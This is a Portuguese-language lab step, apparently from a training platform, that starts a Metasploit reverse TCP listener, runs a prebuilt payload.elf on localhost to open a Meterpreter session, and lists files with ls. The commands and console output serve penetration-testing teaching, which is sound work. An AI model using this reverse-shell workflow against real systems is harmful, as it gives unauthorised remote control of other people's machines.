Listar arquivos e diretórios com o comando ls
Nesta etapa, primeiro estabeleceremos uma sessão Meterpreter e, em seguida, usaremos o comando ls para listar os arquivos no sistema alvo. Nosso script de configuração já criou um payload (payload.elf) e um arquivo de configuração de listener (listener.rc).
Primeiro, vamos iniciar o listener do Metasploit. Ele aguardará uma conexão de entrada do payload. Usamos o sinalizador -r para carregar nosso arquivo de recursos, que automatiza a configuração.
Abra um terminal e execute o seguinte comando:
msfconsole -r listener.rc
Você verá o console do Metasploit iniciar e o handler estará sendo executado como um job em segundo plano. A saída será semelhante a esta:
[*] Msfconsole tip: Use the resource command to run a script of
console commands.
...
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
msf6 >
Agora, precisamos executar o payload para conectar ao nosso listener. Abra um novo terminal clicando no ícone "+" na barra de guias do terminal. Neste novo terminal, execute o arquivo payload localizado em seu diretório ~/project.
./payload.elf
Este comando não produzirá nenhuma saída. Volte para o seu primeiro terminal (aquele que está executando o msfconsole). Você deverá ver uma mensagem indicando que uma sessão foi aberta.
[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400
msf6 > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Nota: Se você não for colocado automaticamente na sessão, pode listar as sessões ativas com sessions e interagir com uma usando sessions -i <ID>, por exemplo, sessions -i 1.
Você agora está em uma sessão Meterpreter, indicada pelo prompt meterpreter >. Qualquer comando que você digitar aqui é executado na máquina alvo. Vamos usar o comando ls para listar os arquivos no diretório atual do alvo.
ls
Isso listará os arquivos e diretórios no diretório de trabalho atual do alvo.
meterpreter > ls
Listing: /home/labex/project
============================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100755/rwxr-xr-x 10152 fil rwx/- payload.elf
100644/rw-r--r-- 100 fil rw-/- listener.rc